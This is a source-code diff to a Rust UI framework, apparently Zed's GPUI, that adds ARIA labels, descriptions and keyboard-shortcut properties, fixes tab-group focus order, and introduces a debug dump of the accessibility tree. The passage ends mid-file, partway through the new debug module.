index 6d782343142547..280886dfdf7779 100644
--- a/crates/encoding_selector/src/active_buffer_encoding.rs
+++ b/crates/encoding_selector/src/active_buffer_encoding.rs
@@ -88,6 +88,7 @@ impl Render for ActiveBufferEncoding {
         div().child(
             Button::new("change-encoding", text)
                 .label_size(LabelSize::Small)
+                .tab_index(0isize)
                 .on_click(cx.listener(move |this, _, window, cx| {
                     if disabled {
                         return;
diff --git a/crates/git_ui/src/conflict_view.rs b/crates/git_ui/src/conflict_view.rs
index 1199afb9d4443c..ea30f61bde543a 100644
--- a/crates/git_ui/src/conflict_view.rs
+++ b/crates/git_ui/src/conflict_view.rs
@@ -642,6 +642,8 @@ impl Render for MergeConflictIndicator {
             .border_color(border_color)
             .child(
                 ButtonLike::new("update-button")
+                    .tab_index(0isize)
+                    .aria_label(message.clone())
                     .child(
                         h_flex()
                             .h_full()
diff --git a/crates/go_to_line/src/cursor_position.rs b/crates/go_to_line/src/cursor_position.rs
index f1f3a61c977f56..29f1c0af1384ea 100644
--- a/crates/go_to_line/src/cursor_position.rs
+++ b/crates/go_to_line/src/cursor_position.rs
@@ -225,6 +225,11 @@ impl Render for CursorPosition {
             el.child(
                 Button::new("go-to-line-column", text)
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
+                    .aria_label(format!(
+                        "Line {}, column {}",
+                        position.line, position.character
+                    ))
                     .on_click(cx.listener(|this, _, window, cx| {
                         if let Some(workspace) = this.workspace.upgrade() {
                             workspace.update(cx, |workspace, cx| {
diff --git a/crates/gpui/src/element.rs b/crates/gpui/src/element.rs
index dbd82b1c2ef936..c817492b949a31 100644
--- a/crates/gpui/src/element.rs
+++ b/crates/gpui/src/element.rs
@@ -378,6 +378,24 @@ impl<E: Element> Drawable<E> {
                             self.element.write_a11y_info(&mut node);
                             window.a11y.node_bounds.insert(node_id, bounds);
                             pushed_a11y_node = window.a11y.nodes.push(node_id, node);
+                            #[cfg(debug_assertions)]
+                            if pushed_a11y_node {
+                                let view = window
+                                    .a11y
+                                    .view_type_names
+                                    .get(&window.current_view())
+                                    .copied();
+                                let source_location = self.element.source_location();
+                                window.a11y.nodes.record_node_info(
+                                    node_id,
+                                    crate::window::a11y::debug::NodeDebugInfo {
+                                        synthetic: false,
+                                        view,
+                                        element_id: global_id.0.last().map(|id| format!("{id:?}")),
+                                        source_location,
+                                    },
+                                );
+                            }
                         }
                     }
                 }
@@ -395,10 +413,24 @@ impl<E: Element> Drawable<E> {
 
                 if pushed_a11y_node {
                     if let Some(global_id) = global_id.as_ref() {
+                        #[cfg(debug_assertions)]
+                        let creator = crate::window::a11y::debug::NodeCreator {
+                            view: window
+                                .a11y
+                                .view_type_names
+                                .get(&window.current_view())
+                                .copied(),
+                            element_id: global_id.0.last().map(|id| format!("{id:?}")),
+                            source_location: self.element.source_location(),
+                        };
                         let mut builder = A11ySubtreeBuilder::new(
                             global_id.accesskit_node_id(),
                             &mut window.a11y.nodes,
                         );
+                        #[cfg(debug_assertions)]
+                        {
+                            builder = builder.with_creator(creator);
+                        }
                         self.element
                             .a11y_synthetic_children(&mut prepaint, &mut builder);
                     }
diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index 04692c86a55e2a..e0c5e623ab5190 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -1225,7 +1225,26 @@ pub trait StatefulInteractiveElement: InteractiveElement {
 
     /// Set the accessible label for this element.
     fn aria_label(mut self, label: impl Into<SharedString>) -> Self {
-        self.interactivity().aria_label = Some(label.into());
+        self.interactivity().aria.label = Some(label.into());
+        self
+    }
+
+    /// Set the accessible description for this element. Unlike the label (which
+    /// names the element), the description provides supplementary information
+    /// that assistive technology announces after the name, role, and value -
+    /// for example a settings subtitle or a hint.
+    fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.interactivity().aria.description = Some(description.into());
+        self
+    }
+
+    /// Set the keyboard shortcut(s) that activate this element, announced by
+    /// assistive technology (maps to AccessKit's `keyboard_shortcut`).
+    ///
+    /// Note that this does not create a keymap. It simply instructs assistive
+    /// technology what the keymap is.
+    fn aria_keyshortcuts(mut self, keyshortcuts: impl Into<SharedString>) -> Self {
+        self.interactivity().aria.keyshortcuts = Some(keyshortcuts.into());
         self
     }
 
@@ -1268,106 +1287,106 @@ pub trait StatefulInteractiveElement: InteractiveElement {
 
     /// Set the selected state for this element.
     fn aria_selected(mut self, selected: bool) -> Self {
-        self.interactivity().aria_selected = Some(selected);
+        self.interactivity().aria.selected = Some(selected);
         self
     }
 
     /// Set the expanded state for this element.
     fn aria_expanded(mut self, expanded: bool) -> Self {
-        self.interactivity().aria_expanded = Some(expanded);
+        self.interactivity().aria.expanded = Some(expanded);
         self
     }
 
     /// Set the toggled state for this element.
     fn aria_toggled(mut self, toggled: accesskit::Toggled) -> Self {
-        self.interactivity().aria_toggled = Some(toggled);
+        self.interactivity().aria.toggled = Some(toggled);
         self
     }
 
     /// Set the numeric value for this element.
     fn aria_numeric_value(mut self, value: f64) -> Self {
-        self.interactivity().aria_numeric_value = Some(value);
+        self.interactivity().aria.numeric_value = Some(value);
         self
     }
 
     /// Set the step by which assistive technology should expect the numeric
     /// value of this element to change (e.g. when incrementing a spin button).
     fn aria_numeric_value_step(mut self, step: f64) -> Self {
-        self.interactivity().aria_numeric_value_step = Some(step);
+        self.interactivity().aria.numeric_value_step = Some(step);
         self
     }
 
     /// Set the string value of this element, e.g. the text content of a simple
     /// text input.
     fn aria_value(mut self, value: impl Into<SharedString>) -> Self {
-        self.interactivity().aria_value = Some(value.into());
+        self.interactivity().aria.value = Some(value.into());
         self
     }
 
     /// Set the placeholder text reported to assistive technology for this
     /// element, shown when a text input is empty.
     fn aria_placeholder(mut self, placeholder: impl Into<SharedString>) -> Self {
-        self.interactivity().aria_placeholder = Some(placeholder.into());
+        self.interactivity().aria.placeholder = Some(placeholder.into());
         self
     }
 
     /// Set the minimum numeric value for this element.
     fn aria_min_numeric_value(mut self, value: f64) -> Self {
-        self.interactivity().aria_min_numeric_value = Some(value);
+        self.interactivity().aria.min_numeric_value = Some(value);
         self
     }
 
     /// Set the maximum numeric value for this element.
     fn aria_max_numeric_value(mut self, value: f64) -> Self {
-        self.interactivity().aria_max_numeric_value = Some(value);
+        self.interactivity().aria.max_numeric_value = Some(value);
         self
     }
 
     /// Set the orientation of this element.
     fn aria_orientation(mut self, orientation: accesskit::Orientation) -> Self {
-        self.interactivity().aria_orientation = Some(orientation);
+        self.interactivity().aria.orientation = Some(orientation);
         self
     }
 
     /// Set the heading level of this element.
     fn aria_level(mut self, level: usize) -> Self {
-        self.interactivity().aria_level = Some(level);
+        self.interactivity().aria.level = Some(level);
         self
     }
 
     /// Set the position in set of this element.
     fn aria_position_in_set(mut self, position: usize) -> Self {
-        self.interactivity().aria_position_in_set = Some(position);
+        self.interactivity().aria.position_in_set = Some(position);
         self
     }
 
     /// Set the size of set for this element.
     fn aria_size_of_set(mut self, size: usize) -> Self {
-        self.interactivity().aria_size_of_set = Some(size);
+        self.interactivity().aria.size_of_set = Some(size);
         self
     }
 
     /// Set the row index for this element.
     fn aria_row_index(mut self, index: usize) -> Self {
-        self.interactivity().aria_row_index = Some(index);
+        self.interactivity().aria.row_index = Some(index);
         self
     }
 
     /// Set the column index for this element.
     fn aria_column_index(mut self, index: usize) -> Self {
-        self.interactivity().aria_column_index = Some(index);
+        self.interactivity().aria.column_index = Some(index);
         self
     }
 
     /// Set the row count for this element.
     fn aria_row_count(mut self, count: usize) -> Self {
-        self.interactivity().aria_row_count = Some(count);
+        self.interactivity().aria.row_count = Some(count);
         self
     }
 
     /// Set the column count for this element.
     fn aria_column_count(mut self, count: usize) -> Self {
-        self.interactivity().aria_column_count = Some(count);
+        self.interactivity().aria.column_count = Some(count);
         self
     }
 
@@ -1898,6 +1917,30 @@ impl IntoElement for Div {
     }
 }
 
+#[derive(Default)]
+pub(crate) struct AriaProperties {
+    pub(crate) label: Option<SharedString>,
+    pub(crate) description: Option<SharedString>,
+    pub(crate) keyshortcuts: Option<SharedString>,
+    pub(crate) selected: Option<bool>,
+    pub(crate) expanded: Option<bool>,
+    pub(crate) toggled: Option<accesskit::Toggled>,
+    pub(crate) numeric_value: Option<f64>,
+    pub(crate) min_numeric_value: Option<f64>,
+    pub(crate) max_numeric_value: Option<f64>,
+    pub(crate) numeric_value_step: Option<f64>,
+    pub(crate) value: Option<SharedString>,
+    pub(crate) placeholder: Option<SharedString>,
+    pub(crate) orientation: Option<accesskit::Orientation>,
+    pub(crate) level: Option<usize>,
+    pub(crate) position_in_set: Option<usize>,
+    pub(crate) size_of_set: Option<usize>,
+    pub(crate) row_index: Option<usize>,
+    pub(crate) column_index: Option<usize>,
+    pub(crate) row_count: Option<usize>,
+    pub(crate) column_count: Option<usize>,
+}
+
 /// The interactivity struct. Powers all of the general-purpose
 /// interactivity in the `Div` element.
 #[derive(Default)]
@@ -1963,24 +2006,7 @@ pub struct Interactivity {
     pub(crate) a11y_synthetic_children: Option<Box<dyn FnOnce(&mut crate::A11ySubtreeBuilder)>>,
     pub(crate) report_active_descendant_focus: bool,
     pub(crate) override_role: Option<accesskit::Role>,
-    pub(crate) aria_label: Option<SharedString>,
-    pub(crate) aria_selected: Option<bool>,
-    pub(crate) aria_expanded: Option<bool>,
-    pub(crate) aria_toggled: Option<accesskit::Toggled>,
-    pub(crate) aria_numeric_value: Option<f64>,
-    pub(crate) aria_min_numeric_value: Option<f64>,
-    pub(crate) aria_max_numeric_value: Option<f64>,
-    pub(crate) aria_numeric_value_step: Option<f64>,
-    pub(crate) aria_value: Option<SharedString>,
-    pub(crate) aria_placeholder: Option<SharedString>,
-    pub(crate) aria_orientation: Option<accesskit::Orientation>,
-    pub(crate) aria_level: Option<usize>,
-    pub(crate) aria_position_in_set: Option<usize>,
-    pub(crate) aria_size_of_set: Option<usize>,
-    pub(crate) aria_row_index: Option<usize>,
-    pub(crate) aria_column_index: Option<usize>,
-    pub(crate) aria_row_count: Option<usize>,
-    pub(crate) aria_column_count: Option<usize>,
+    pub(crate) aria: AriaProperties,
 
     #[cfg(any(feature = "inspector", debug_assertions))]
     pub(crate) source_location: Option<&'static core::panic::Location<'static>>,
@@ -2110,6 +2136,13 @@ impl Interactivity {
                     if focus_handle.is_focused(window) {
                         window.a11y.set_focus(node_id);
                     }
+                } else if focus_handle.is_focused(window) {
+                    // Focusable, but with no element id it can't have an
+                    // accessibility node, so screen readers fall back to the
+                    // whole window.
+                    window
+                        .a11y
+                        .note_focus_without_node(focus_handle.id, "it has no element id");
                 }
             }
         }
@@ -2297,9 +2330,6 @@ impl Interactivity {
                 if self.tab_group {
                     tab_group = self.tab_index;
                 }
-                if let Some(focus_handle) = &self.tracked_focus_handle {
-                    window.next_frame.tab_stops.insert(focus_handle);
-                }
 
                 window.with_element_opacity(style.opacity, |window| {
                     style.paint(bounds, window, cx, |window: &mut Window, cx: &mut App| {
@@ -2308,6 +2338,17 @@ impl Interactivity {
                                 style.overflow_mask(bounds, window.rem_size()),
                                 |window| {
                                     window.with_tab_group(tab_group, |window| {
+                                        // Register the container's own focus handle *inside* its
+                                        // tab group, so that focusing the container and then
+                                        // calling `focus_next` descends into this group's first
+                                        // item. Inserting it before `with_tab_group` would give the
+                                        // container a shallower tab path than its children; with
+                                        // sibling groups every container would then sort ahead of
+                                        // every item, and `focus_next` from a container would jump
+                                        // to the first item in the whole window instead of its own.
+                                        if let Some(focus_handle) = &self.tracked_focus_handle {
+                                            window.next_frame.tab_stops.insert(focus_handle);
+                                        }
                                         if let Some(hitbox) = hitbox {
                                             #[cfg(debug_assertions)]
                                             self.paint_debug_info(
@@ -3225,58 +3266,64 @@ impl Interactivity {
     }
 
     pub(crate) fn write_a11y_info(&self, node: &mut accesskit::Node) {
-        if let Some(label) = &self.aria_label {
+        if let Some(label) = &self.aria.label {
             node.set_label(label.to_string());
         }
-        if let Some(selected) = self.aria_selected {
+        if let Some(description) = &self.aria.description {
+            node.set_description(description.to_string());
+        }
+        if let Some(keyshortcuts) = &self.aria.keyshortcuts {
+            node.set_keyboard_shortcut(keyshortcuts.to_string());
+        }
+        if let Some(selected) = self.aria.selected {
             node.set_selected(selected);
         }
-        if let Some(expanded) = self.aria_expanded {
+        if let Some(expanded) = self.aria.expanded {
             node.set_expanded(expanded);
         }
-        if let Some(toggled) = self.aria_toggled {
+        if let Some(toggled) = self.aria.toggled {
             node.set_toggled(toggled);
         }
-        if let Some(value) = self.aria_numeric_value {
+        if let Some(value) = self.aria.numeric_value {
             node.set_numeric_value(value);
         }
-        if let Some(value) = self.aria_min_numeric_value {
+        if let Some(value) = self.aria.min_numeric_value {
             node.set_min_numeric_value(value);
         }
-        if let Some(value) = self.aria_max_numeric_value {
+        if let Some(value) = self.aria.max_numeric_value {
             node.set_max_numeric_value(value);
         }
-        if let Some(step) = self.aria_numeric_value_step {
+        if let Some(step) = self.aria.numeric_value_step {
             node.set_numeric_value_step(step);
         }
-        if let Some(value) = &self.aria_value {
+        if let Some(value) = &self.aria.value {
             node.set_value(value.to_string());
         }
-        if let Some(placeholder) = &self.aria_placeholder {
+        if let Some(placeholder) = &self.aria.placeholder {
             node.set_placeholder(placeholder.to_string());
         }
-        if let Some(orientation) = self.aria_orientation {
+        if let Some(orientation) = self.aria.orientation {
             node.set_orientation(orientation);
         }
-        if let Some(level) = self.aria_level {
+        if let Some(level) = self.aria.level {
             node.set_level(level);
         }
-        if let Some(position) = self.aria_position_in_set {
+        if let Some(position) = self.aria.position_in_set {
             node.set_position_in_set(position);
         }
-        if let Some(size) = self.aria_size_of_set {
+        if let Some(size) = self.aria.size_of_set {
             node.set_size_of_set(size);
         }
-        if let Some(index) = self.aria_row_index {
+        if let Some(index) = self.aria.row_index {
             node.set_row_index(index);
         }
-        if let Some(index) = self.aria_column_index {
+        if let Some(index) = self.aria.column_index {
             node.set_column_index(index);
         }
-        if let Some(count) = self.aria_row_count {
+        if let Some(count) = self.aria.row_count {
             node.set_row_count(count);
         }
-        if let Some(count) = self.aria_column_count {
+        if let Some(count) = self.aria.column_count {
             node.set_column_count(count);
         }
         if !self.click_listeners.is_empty() {
@@ -4379,13 +4426,13 @@ mod tests {
     #[test]
     fn test_write_a11y_info_string_and_numeric_properties() {
         let mut interactivity = Interactivity::default();
-        interactivity.aria_label = Some("Buffer Font Size".into());
-        interactivity.aria_value = Some("15".into());
-        interactivity.aria_placeholder = Some("Search".into());
-        interactivity.aria_numeric_value = Some(15.0);
-        interactivity.aria_min_numeric_value = Some(6.0);
-        interactivity.aria_max_numeric_value = Some(72.0);
-        interactivity.aria_numeric_value_step = Some(1.0);
+        interactivity.aria.label = Some("Buffer Font Size".into());
+        interactivity.aria.value = Some("15".into());
+        interactivity.aria.placeholder = Some("Search".into());
+        interactivity.aria.numeric_value = Some(15.0);
+        interactivity.aria.min_numeric_value = Some(6.0);
+        interactivity.aria.max_numeric_value = Some(72.0);
+        interactivity.aria.numeric_value_step = Some(1.0);
 
         let mut node = accesskit::Node::new(accesskit::Role::SpinButton);
         interactivity.write_a11y_info(&mut node);
@@ -4603,4 +4650,69 @@ mod tests {
 
         assert!(clicks.borrow().is_empty(), "clicks: {:?}", clicks.borrow());
     }
+
+    /// Two sibling tab groups, each a focusable container that is *not* itself a
+    /// tab stop and holds a single tab stop. Mirrors how the title bar and
+    /// status bar expose their controls as ARIA toolbars.
+    struct TabGroupFocus {
+        group_a: FocusHandle,
+        item_a: FocusHandle,
+        group_b: FocusHandle,
+        item_b: FocusHandle,
+    }
+
+    impl Render for TabGroupFocus {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            fn group(container: &FocusHandle, item: &FocusHandle) -> Div {
+                div()
+                    .track_focus(container)
+                    .tab_group()
+                    .child(div().track_focus(item))
+            }
+            div()
+                .child(group(&self.group_a, &self.item_a))
+                .child(group(&self.group_b, &self.item_b))
+        }
+    }
+
+    /// Focusing a tab-group container and pressing Tab (`focus_next`) must move
+    /// focus to the first tab stop *inside that container*, as documented on
+    /// [`InteractiveElement::tab_stop`].
+    #[test]
+    fn focus_next_from_tab_group_container_enters_that_group() {
+        let mut cx = TestAppContext::single();
+        let (group_a, item_a, group_b, item_b) = cx.update(|cx| {
+            (
+                cx.focus_handle(),
+                cx.focus_handle().tab_stop(true),
+                cx.focus_handle(),
+                cx.focus_handle().tab_stop(true),
+            )
+        });
+        let window: AnyWindowHandle = cx
+            .add_window({
+                let (group_a, item_a, group_b, item_b) =
+                    (group_a, item_a, group_b.clone(), item_b.clone());
+                move |_, _| TabGroupFocus {
+                    group_a,
+                    item_a,
+                    group_b,
+                    item_b,
+                }
+            })
+            .into();
+        cx.update_window(window, |_, window, cx| window.draw(cx).clear())
+            .unwrap();
+
+        // Focus the *second* group's container, then advance like Tab would.
+        let focused = cx
+            .update_window(window, |_, window, cx| {
+                window.focus(&group_b, cx);
+                window.focus_next(cx);
+                window.focused(cx).map(|handle| handle.id)
+            })
+            .unwrap();
+
+        assert_eq!(focused, Some(item_b.id));
+    }
 }
diff --git a/crates/gpui/src/tab_stop.rs b/crates/gpui/src/tab_stop.rs
index a2050059634d20..bde651ae5c4572 100644
--- a/crates/gpui/src/tab_stop.rs
+++ b/crates/gpui/src/tab_stop.rs
@@ -196,6 +196,10 @@ impl TabStopMap {
         self.insertion_history.len()
     }
 
+    pub(crate) fn tab_stop_count(&self) -> usize {
+        self.by_id.values().filter(|node| node.tab_stop).count()
+    }
+
     fn focus_handle_for_order(&self, order: &TabStopNode) -> Option<FocusHandle> {
         let handle = self.insertion_history[order.node_insertion_index].focus_handle();
         debug_assert!(
diff --git a/crates/gpui/src/view.rs b/crates/gpui/src/view.rs
index 394f00c1082db4..f8343be29a09d4 100644
--- a/crates/gpui/src/view.rs
+++ b/crates/gpui/src/view.rs
@@ -157,6 +157,13 @@ mod any_view {
         cx: &mut App,
     ) -> AnyElement {
         let view = view.clone().downcast::<V>().unwrap();
+        // Record the view's Render type name so the accessibility debug dump can
+        // attribute nodes to the view that produced them.
+        #[cfg(debug_assertions)]
+        window
+            .a11y
+            .view_type_names
+            .insert(view.entity_id(), std::any::type_name::<V>());
         view.update(cx, |view, cx| view.render(window, cx).into_any_element())
     }
 }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 249d703e98d505..1a5b018f5aa554 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2896,8 +2896,15 @@ impl Window {
         let should_send_a11y_update = a11y_active_start_of_frame && a11y_active_end_of_frame;
 
         if a11y_active_start_of_frame {
+            // Harvest frame metadata for the debug dump while the live window
+            // and frame are still in scope.
+            let frame_info = crate::window::a11y::debug::FrameDebugInfo {
+                viewport_size: self.viewport_size,
+                scale_factor: self.scale_factor,
+                tab_stop_count: self.next_frame.tab_stops.tab_stop_count(),
+            };
             // clear the builder state regardless
-            let tree_update = self.a11y.end_frame();
+            let tree_update = self.a11y.end_frame(frame_info);
 
             if should_send_a11y_update {
                 log::debug!(
@@ -5546,6 +5553,11 @@ impl Window {
         self.a11y.is_active()
     }
 
+    /// Debug representation of the last frame's accessibility information.
+    pub fn debug_a11y_tree_json(&self) -> Option<String> {
+        self.a11y.debug_tree_json()
+    }
+
     /// Register a listener for an accessibility action on a specific node.
     /// The listener will be called when a screen reader requests the given
     /// action on the node identified by `node_id`.
diff --git a/crates/gpui/src/window/a11y.rs b/crates/gpui/src/window/a11y.rs
index 68140fd123c271..234e7f0acd9fb8 100644
--- a/crates/gpui/src/window/a11y.rs
+++ b/crates/gpui/src/window/a11y.rs
@@ -100,6 +100,8 @@
 
 use crate::*;
 
+pub(crate) mod debug;
+
 use crate::{App, Bounds, FocusId, Pixels, SharedString, Window};
 use accesskit::{Action, NodeId, TreeUpdate};
 use collections::{FxHashMap, FxHashSet};
@@ -150,6 +152,15 @@ pub(crate) struct A11y {
     /// The window's title, used to label the root node so assistive
     /// technology can tell windows apart.
     window_title: Option<SharedString>,
+    /// The focus id we most recently reported as having no accessibility node,
+    /// used to log at most once per focus change rather than every frame.
+    last_focus_without_node: Option<FocusId>,
+    /// Retains the last tree update (and, in debug builds, per-node provenance)
+    /// so it can be dumped via [`crate::Window::debug_a11y_tree_json`].
+    debug: debug::A11yDebug,
+    /// Maps a view's [`EntityId`] to its `Render` type name
+    #[cfg(debug_assertions)]
+    pub(crate) view_type_names: FxHashMap<EntityId, &'static str>,
 }
 
 impl A11y {
@@ -167,6 +178,26 @@ impl A11y {
             node_bounds: FxHashMap::default(),
             action_listeners: FxHashMap::default(),
             window_title,
+            last_focus_without_node: None,
+            debug: debug::A11yDebug::default(),
+            #[cfg(debug_assertions)]
+            view_type_names: FxHashMap::default(),
+        }
+    }
+
+    /// Logs (once per focus change) that the focused element is not exposed to
+    /// assistive technology because it has no accessibility node. When this
+    /// happens, screen readers fall back to announcing the whole window instead
+    /// of the focused element. The fix is to give the element both an
+    /// `.id(...)` and a `.role(...)`.
+    pub(crate) fn note_focus_without_node(&mut self, focus_id: FocusId, reason: &str) {
+        if self.last_focus_without_node != Some(focus_id) {
+            self.last_focus_without_node = Some(focus_id);
+            log::info!(
+                "a11y: focused element ({focus_id:?}) has no accessibility node \
+                 ({reason}); assistive technology will announce the whole window \
+                 instead. Give it both an `.id(...)` and a `.role(...)` to expose it."
+            );
         }
     }
 
@@ -207,7 +238,16 @@ impl A11y {
             }
         }
         if self.nodes.has_node(node_id) {
+            // The focused element is properly exposed; reset the dedup so a
+            // later focus on a node-less element logs again.
+            self.last_focus_without_node = None;
             self.nodes.set_focus(node_id);
+        } else {
+            // The element registered a focus handle and an id, but never got a
+            // node because it has no role.
+            if let Some(focus_id) = self.focus_ids.get(&node_id).copied() {
+                self.note_focus_without_node(focus_id, "it has an id but no role");
+            }
         }
     }
 
@@ -236,8 +276,22 @@ impl A11y {
     }
 
     /// Finalize the tree and produce a [`TreeUpdate`] for the platform adapter.
-    pub(crate) fn end_frame(&mut self) -> TreeUpdate {
-        self.nodes.finalize()
+    pub(crate) fn end_frame(&mut self, frame: debug::FrameDebugInfo) -> TreeUpdate {
+        let update = self.nodes.finalize();
+        self.debug.capture(
+            &update,
+            self.nodes.focus,
+            self.nodes.active_descendant,
+            self.window_title.as_ref(),
+            frame,
+        );
+        #[cfg(debug_assertions)]
+        self.debug.capture_node_info(&self.nodes.node_info);
+        update
+    }
+
+    pub(crate) fn debug_tree_json(&self) -> Option<String> {
+        self.debug.to_json()
     }
 }
 
@@ -246,11 +300,26 @@ impl A11y {
 pub struct A11ySubtreeBuilder<'a> {
     parent_id: NodeId,
     nodes: &'a mut A11yNodeBuilder,
+    /// Provenance of the real element whose `a11y_synthetic_children` is
+    /// running.
+    #[cfg(debug_assertions)]
+    creator: debug::NodeCreator,
 }
 
 impl<'a> A11ySubtreeBuilder<'a> {
     pub(crate) fn new(parent_id: NodeId, nodes: &'a mut A11yNodeBuilder) -> Self {
-        Self { parent_id, nodes }
+        Self {
+            parent_id,
+            nodes,
+            #[cfg(debug_assertions)]
+            creator: debug::NodeCreator::default(),
+        }
+    }
+
+    #[cfg(debug_assertions)]
+    pub(crate) fn with_creator(mut self, creator: debug::NodeCreator) -> Self {
+        self.creator = creator;
+        self
     }
 
     /// Derive a [`NodeId`] for a synthetic child.
@@ -271,7 +340,20 @@ impl<'a> A11ySubtreeBuilder<'a> {
     /// Returns `false` if a node with this id is already present in the tree,
     /// in which case the node is discarded.
     pub fn push_child(&mut self, id: NodeId, node: accesskit::Node) -> bool {
-        self.nodes.push_leaf(id, node)
+        let pushed = self.nodes.push_leaf(id, node);
+        #[cfg(debug_assertions)]
+        if pushed {
+            self.nodes.record_node_info(
+                id,
+                debug::NodeDebugInfo {
+                    synthetic: true,
+                    view: self.creator.view,
+                    element_id: self.creator.element_id.clone(),
+                    source_location: self.creator.source_location,
+                },
+            );
+        }
+        pushed
     }
 
     /// A mutable reference to the parent node.
@@ -297,6 +379,8 @@ pub(crate) struct A11yNodeBuilder {
     /// pattern, which allows a focused container to act as if a descendant is
     /// focused.
     active_descendant: Option<NodeId>,
+    #[cfg(debug_assertions)]
+    node_info: FxHashMap<NodeId, debug::NodeDebugInfo>,
 }
 
 impl A11yNodeBuilder {
@@ -308,9 +392,17 @@ impl A11yNodeBuilder {
             seen_ids: FxHashSet::default(),
             focus: None,
             active_descendant: None,
+            #[cfg(debug_assertions)]
+            node_info: FxHashMap::default(),
         }
     }
 
+    /// Records provenance for a node already pushed this frame. Debug builds only.
+    #[cfg(debug_assertions)]
+    pub(crate) fn record_node_info(&mut self, id: NodeId, info: debug::NodeDebugInfo) {
+        self.node_info.insert(id, info);
+    }
+
     #[must_use]
     fn can_push(&mut self, id: NodeId) -> bool {
         debug_assert!(!self.ids_stack.is_empty(), "node pushed before push_root");
@@ -380,6 +472,8 @@ impl A11yNodeBuilder {
         self.ids_stack.clear();
         self.nodes_stack.clear();
         self.seen_ids.clear();
+        #[cfg(debug_assertions)]
+        self.node_info.clear();
         let mut root_node = accesskit::Node::new(accesskit::Role::Window);
         if let Some(title) = window_title {
             root_node.set_label(title.to_string());
@@ -788,7 +882,7 @@ mod tests {
         a11y.nodes.pop(); // c
         a11y.nodes.pop(); // b
 
-        let update = a11y.end_frame();
+        let update = a11y.end_frame(Default::default());
         assert_eq!(update.focus, a);
     }
 }
diff --git a/crates/gpui/src/window/a11y/debug.rs b/crates/gpui/src/window/a11y/debug.rs
new file mode 100644
index 00000000000000..ae98aa52837b11
--- /dev/null
+++ b/crates/gpui/src/window/a11y/debug.rs
@@ -0,0 +1,330 @@
+//! Developer tooling for inspecting the accessibility tree.
+//!
+//! [`A11yDebug`] retains the last [`TreeUpdate`] sent to the platform adapter so
+//! it can be serialized on demand (see
+//! [`crate::Window::debug_a11y_tree_json`]). In `cfg(debug_assertions)` builds,
+//! we capture extra info.
+
+use accesskit::{Action, NodeId, TreeUpdate};
+use collections::FxHashMap;
+
+use crate::{Pixels, SharedString, Size};
+
+#[derive(Default)]
+pub(crate) struct FrameDebugInfo {
+    pub viewport_size: Size<Pixels>,
+    pub scale_factor: f32,
+    pub tab_stop_count: usize,
+}
+
+struct CapturedFrame {
+    rendered_at: String,
+    frame_number: u64,
+    window_title: Option<SharedString>,
+    node_count: usize,
+    tab_stop_count: usize,
+    viewport_size: Size<Pixels>,
+    scale_factor: f32,
+}
+
+#[cfg(debug_assertions)]
+#[derive(Clone, Default)]
+pub(crate) struct NodeDebugInfo {
+    /// Whether the node was synthesized via
+    /// [`crate::Element::a11y_synthetic_children`] rather than created from a
+    /// real element with a role and ID.
+    pub synthetic: bool,
+    /// The type name of the `Render` view that was rendering when the node was
+    /// created.
+    pub view: Option<&'static str>,
+    /// The [`ElementId`](crate::ElementId) of the creating element (the leaf of
+    /// its `GlobalElementId`, not the full path). For a synthetic node, this is
+    /// the real element whose `a11y_synthetic_children` produced it.
+    pub element_id: Option<String>,
+    /// Source location where the creating element was constructed.
+    pub source_location: Option<&'static core::panic::Location<'static>>,
+}
+
+#[cfg(debug_assertions)]
+#[derive(Clone, Default)]
+pub(crate) struct NodeCreator {
+    pub view: Option<&'static str>,
+    pub element_id: Option<String>,
+    pub source_location: Option<&'static core::panic::Location<'static>>,
+}
+
+#[derive(Default)]
+pub(crate) struct A11yDebug {
+    last_tree_update: Option<TreeUpdate>,
+    last_gpui_focus: Option<NodeId>,
+    last_active_descendant: Option<NodeId>,
+    /// Monotonic counter incremented on each captured frame, so a re-dump makes
+    /// it obvious whether the tree actually refreshed.
+    frame_number: u64,
+    /// Metadata about the most recently captured frame.
+    last_frame: Option<CapturedFrame>,
+    #[cfg(debug_assertions)]
+    last_node_info: FxHashMap<NodeId, NodeDebugInfo>,
+}
+
+impl A11yDebug {
+    pub(crate) fn capture(
+        &mut self,
+        update: &TreeUpdate,
+        gpui_focus: Option<NodeId>,
+        active_descendant: Option<NodeId>,
+        window_title: Option<&SharedString>,
+        frame: FrameDebugInfo,
+    ) {
+        self.last_tree_update = Some(update.clone());
+        self.last_gpui_focus = gpui_focus;
+        self.last_active_descendant = active_descendant;
+        self.frame_number += 1;
+        self.last_frame = Some(CapturedFrame {
+            rendered_at: chrono::Local::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, false),
+            frame_number: self.frame_number,
+            window_title: window_title.cloned(),
+            node_count: update.nodes.len(),
+            tab_stop_count: frame.tab_stop_count,
+            viewport_size: frame.viewport_size,
+            scale_factor: frame.scale_factor,
+        });
+    }
+
+    #[cfg(debug_assertions)]
+    pub(crate) fn capture_node_info(&mut self, node_info: &FxHashMap<NodeId, NodeDebugInfo>) {
+        self.last_node_info = node_info.clone();
+    }
+
+    /// Serialize the last tree update to a readable JSON string. Node ids are
+    /// replaced with short ephemeral ids (`a`, `b`, ..., `z`, `aa`, ...).
+    pub(crate) fn to_json(&self) -> Option<String> {
+        let update = self.last_tree_update.as_ref()?;
+
+        let mut ephemeral: FxHashMap<NodeId, String> = FxHashMap::default();
+        for (index, (id, _)) in update.nodes.iter().enumerate() {
+            ephemeral.insert(*id, ephemeral_id(index));
+        }
+
+        let mut nodes = serde_json::Map::new();
+        for (id, node) in &update.nodes {
+            let key = ephemeral
+                .get(id)
+                .cloned()
+                .unwrap_or_else(|| id.0.to_string());
+            #[cfg(debug_assertions)]
+            let provenance = self
+                .last_node_info
+                .get(id)
+                .map(|info| NodeProvenance {
+                    element_id: info.element_id.as_deref(),
+                    view: info.view,
+                    source_location: info.source_location.map(|loc| loc.to_string()),
+                    // Only surface synthetic nodes; `false` is the default and
+                    // would just be noise on every real node.
+                    synthetic: info.synthetic.then_some(true),
+                })
+                .unwrap_or_default();
+            #[cfg(not(debug_assertions))]
